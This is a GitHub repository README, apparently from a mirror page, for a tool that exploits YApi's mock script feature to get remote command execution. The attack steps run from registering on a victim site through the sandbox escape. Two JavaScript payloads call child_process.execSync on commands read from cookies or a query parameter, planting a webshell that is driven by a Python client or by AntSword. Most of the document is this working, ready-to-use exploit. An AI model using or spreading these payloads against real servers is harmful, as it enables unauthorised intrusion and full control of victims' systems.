Esonhugh / yapi-rce-webshell

Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小

Geek Repo:Geek Repo

Github PK Tool:Github PK Tool

yapi-rce-webshell

Yapi mock script RCE another version. Webshell way.

YMFE/yapi#2099

funny things

usage:

  1. victim yapi website
  2. register account
  3. craete project and create api in it
  4. create mock script like
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("cd "+cookie.dir+";"+cookie.cmd).toString()
// you can also add exec function to do some async jobs like running enum scripts
  1. use python script to connect webshell and interactive
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test } -i # interactive mode
# or
python3 webshell.py {mock address like: http://whereisthevictim/mock/222/test/test} {cmd dir,you can use "."} {command location}

AntSword Alternative

  1. Same as usage
  2. But Create an API With Advanced Mock POST Method.
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync(query.data).toString()
// you can also add exec function to do some async jobs like running enum scripts
  1. Open AntSword
  2. Create with Config like
  • Type: CMDLINUX
  • Pass: data
  • URL: mock url in Yapi config
  • encoder/decoder: default
  1. enjoy your webshell

About

Yapi mock script RCE another version. Webshell way. 另一种 Webshell 方式的 Yapi 命令执行的方法 相比于其他的利用方式 更加微操和可控 影响更小


Languages

Language:Python 100.0%